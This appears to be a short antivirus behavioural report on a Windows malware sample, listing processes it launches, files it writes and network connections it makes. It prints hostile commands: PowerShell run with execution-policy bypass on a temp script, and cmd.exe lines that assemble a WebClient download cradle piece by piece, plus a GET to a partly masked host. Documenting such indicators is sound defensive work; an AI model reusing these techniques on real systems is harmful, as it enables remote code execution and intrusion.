Technical Information
Malicious functions
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass -File %TEMP%\4.ps1
- '<SYSTEM32>\wscript.exe' %TEMP%\1.js
Modifies file system
Creates the following files
- %TEMP%\4.ps1
Network activity
Connects to
- 'tn#.im':80
TCP
HTTP GET requests
- http://tn#.im/9Wd
UDP
- DNS ASK tn#.im
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' /S /D /c" echo"
- '<SYSTEM32>\cmd.exe' /S /D /c" set /p="(New-Object System.N" 1>%TEMP%\4.ps1"
- '<SYSTEM32>\cmd.exe' /S /D /c" set /p="et.WebClient).Downlo" 1>>%TEMP%\4.ps1"
